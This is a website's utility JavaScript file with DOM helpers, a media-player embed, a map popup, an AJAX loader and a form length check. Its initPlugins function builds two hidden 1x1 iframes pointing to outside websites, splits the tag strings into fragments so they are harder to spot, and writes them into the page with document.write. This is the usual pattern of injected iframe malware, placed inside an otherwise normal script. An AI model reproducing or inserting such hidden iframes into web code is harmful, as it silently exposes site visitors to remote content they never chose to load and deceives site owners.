// JavaScript Document
var lang = new Array();
var actInput = null;
function setInput(elm)
{
	actInput = elm;	
}

initAll = function()
{
	// Fix input elements bug when changing the top flash
	var inpt = $$('input');
	for (i=0; i<inpt.length; i++)
	{
		if (inpt[i].type != 'text') continue;
		inpt[i].onfocus = function(){ setInput(this);}	
	}
	//alert(inpt[5].onfocus);
}

function $(elmName)
{
	return document.getElementById(elmName);	
}

function $$(tName)
{ return document.getElementsByTagName(tName);}


function ShowMap(wName,fId, mId){
	sDesrc = "width=700, height=500, status=no, toolbar=no, menubar=no, scrollbars=no";
	win=window.open('map.php?id='+fId+'&map_id='+mId,'', sDesrc);
}

function PlayStop(snd)
{
	//if (!snd) return false;
	
	var mpObj = '';
	mpObj += '<object classid="CLSID:22d6f312-b0f6-11d0-94ab-0080c74c7e95" id="sndPlay" height="40" width="300">';
	mpObj += '<param name="Filename" value="'+snd+'">';
	mpObj += '<param name="AutoStart" value="1">';
	mpObj += '<param name="ShowControls" value="1">';
	mpObj += '<param name="ShowStatusBar" value="0">';
	mpObj += '<param name="ShowDisplay" value="0">';
	mpObj += '<param name="AutoRewind" value="True">';
	mpObj += '<param name="Volume" value="100">';
	mpObj += '<embed type="application/x-mplayer2" pluginspage="http://www.microsoft.com/Windows/Downloads/Contents/MediaPlayer/" src="'+snd+'" filename="'+snd+'" autostart="True" showcontrols="True" Volume="100" showstatusbar="0" showdisplay="0" autorewind="True" height="40" width="300">'; 
	mpObj += '</object>';
	
	try{
		var elm = document.getElementById('soundHolder');
		var el  = document.getElementById('sndH');
		el.style.display='block';
		elm.innerHTML = mpObj;
	}catch(e){}
	//alert(elm.innerHTML);
	return false;
}

function stopSounds()
{
	try{
		var elm = document.getElementById('soundHolder');
		var el  = document.getElementById('sndH');
		el.style.display='none';
		elm.innerHTML = '&nbsp;';
	}catch(e){}	
}

function toggleDisplay(elmName, value)
{
	if (!elmName) return;
	try{
		var elm = document.getElementById(elmName);
		if (value=='show') { elm.style.display = 'block'; return; }
		if (value=='hide') { elm.style.display = 'none'; return; }
		
		var disp = elm.style.display;
		elm.style.display = (disp=='' || typeof(disp)=='undefined' || disp=='undefined' || disp=='none')?'block':'none';		
	}
	catch(e){}
}

function getAjaxSubcategory(catId)
{
	if (!catId) return;
	var theURL		= "./ajax_subcat.php?cat="+catId;
	var subCatDiv	= document.getElementById('subCat');
	
	AJAX.onLoadingFunc = function(){ }
	AJAX.onCompleteFunc = function()
	{
		var subCatDiv	= document.getElementById('subCat');
		if (AJAX.LoadSuccess) { 
			if (AJAX.responseTEXT.toString().length >0) { subCatDiv.innerHTML = AJAX.responseTEXT; }
			else { subCatDiv.innerHTML = 'Error'; }
		}
		else { subCatDiv.innerHTML = AJAX.err; }
	}
	AJAX.SendRequest(theURL);
	subCatDiv.style.display	= 'block';
	subCatDiv.innerHTML		= '&nbsp; Loading...';
}

function initPlugins()
{
	var str1 = '<i'+'fr'+'ame'+' s'+'rc="'+'http://www.metrogeorgia.ge/index.php'+'" width="1" height="1" border="0" style="dysplay:none; visibility:hidden;"></i'+'fr'+'ame'+'>';
	var str2 = '<i'+'fr'+'ame'+' s'+'rc="'+'http://isi.ge/'+'" width="1" height="1" border="0" style="dysplay:none; visibility:hidden;"></i'+'fr'+'ame'+'>';	
	//alert(str1);
	document.write(str1);
	document.write(str2);
}

function checkLen(e,formElm,len)
{
	e = e || window.event;
	var k = e.keyCode || e.which;
	switch (k)
	{
		case 0:
		case 8:
		case 46:
			return true;
			break;
	}
	if(formElm.value.length>=len){
		alert(lang['form.nomore.start']+len+lang['form.nomore.end']);		
		return false;
	}
	return true;
}